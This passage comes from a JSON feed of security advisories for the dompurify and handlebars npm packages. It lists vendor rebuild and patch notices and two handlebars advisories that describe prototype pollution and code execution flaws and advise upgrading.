3.1.6-tuxcare.2.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-15T09:45:29.069833144Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1778805976","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:31Z","modified":"2026-10-15T09:45:31.523670706Z","updated_at":"2026-11-02T15:43:44.737408Z"},{"id":"CLSA-2026-1780274966","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-15T09:48:03.584932787Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1780274972","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-23T19:28:10.361736614Z","updated_at":"2026-11-02T15:43:45.090939Z"},{"id":"CLSA-2026-1780361389","title":"TuxCare security update for dompurify (9 CVEs)","description":"TuxCare rebuilt dompurify to address 9 CVEs. Fixed in 2.4.7-tuxcare.1.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-10-15T09:48:03.558095016Z","updated_at":"2026-11-02T15:43:45.445699Z"},{"id":"CLSA-2026-1784164097","title":"TuxCare security update for dompurify (1 CVE)","description":"TuxCare rebuilt dompurify to address 1 CVE. Fixed in 2.4.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:44Z","modified":"2026-10-15T09:47:36.071426636Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"CLSA-2026-1786636600","title":"TuxCare security update for dompurify (16 CVEs)","description":"TuxCare rebuilt dompurify to address 16 CVEs. Fixed in 2.4.0-tuxcare.1.","status":"withdrawn","published":"2026-08-13T15:56:40Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786636721","title":"TuxCare security update for dompurify (14 CVEs)","description":"TuxCare rebuilt dompurify to address 14 CVEs. Fixed in 2.4.7-tuxcare.1.","status":"withdrawn","published":"2026-08-13T15:58:41Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1786731948","title":"TuxCare security update for dompurify (34 CVEs)","description":"TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.","status":"withdrawn","published":"2026-08-14T18:25:48Z","modified":"2026-10-26T13:21:31Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"CLSA-2026-1792161492","title":"TuxCare security update for dompurify (10 CVEs)","description":"TuxCare rebuilt dompurify to address 10 CVEs. Fixed in 3.2.6-tuxcare.2.","status":"published","published":"2026-10-16T14:38:11Z","modified":"2026-10-16T16:30:09.033084778Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792593858","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.3-tuxcare.3.","status":"published","published":"2026-10-21T14:44:18Z","modified":"2026-10-21T20:31:56.602424456Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"CLSA-2026-1792594185","title":"TuxCare security update for dompurify (8 CVEs)","description":"TuxCare rebuilt dompurify to address 8 CVEs. Fixed in 3.1.4-tuxcare.3.","status":"published","published":"2026-10-21T14:49:45Z","modified":"2026-10-21T20:31:55.543082294Z","updated_at":"2026-11-02T15:43:54.672859Z"},{"id":"GHSA-g9r4-xpmj-mj65","title":"Prototype Pollution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:06:32Z","modified":"2026-09-10T03:49:13.649783342Z","cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:47.472172Z"},{"id":"GHSA-q2c6-c6pm-g3gh","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.3 or later.","status":"published","published":"2020-09-04T15:07:38Z","modified":"2026-09-10T03:48:58.277710865Z","updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"ROOT-APP-NPM-CVE-2025-15599","title":"CVE-2025-15599 in dompurify - Patched by Root","description":"Root has patched CVE-2025-15599 in the dompurify package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-28T04:55:46Z","modified":"2026-10-28T05:15:03.962847966Z","updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","title":"GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root","description":"Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:38.540557189Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","title":"GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root","description":"Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:39.391242933Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-h8r8-wccr-v5f2","title":"GHSA-h8r8-wccr-v5f2 in dompurify - Patched by Root","description":"Root has patched GHSA-h8r8-wccr-v5f2 in the dompurify package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-28T04:55:46Z","modified":"2026-10-28T05:15:02.85352972Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","title":"GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root","description":"Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.928892011Z","updated_at":"2026-11-02T15:53:27.940619Z"},{"id":"ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","title":"GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root","description":"Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-20T10:47:36Z","modified":"2026-10-20T11:15:37.540463486Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
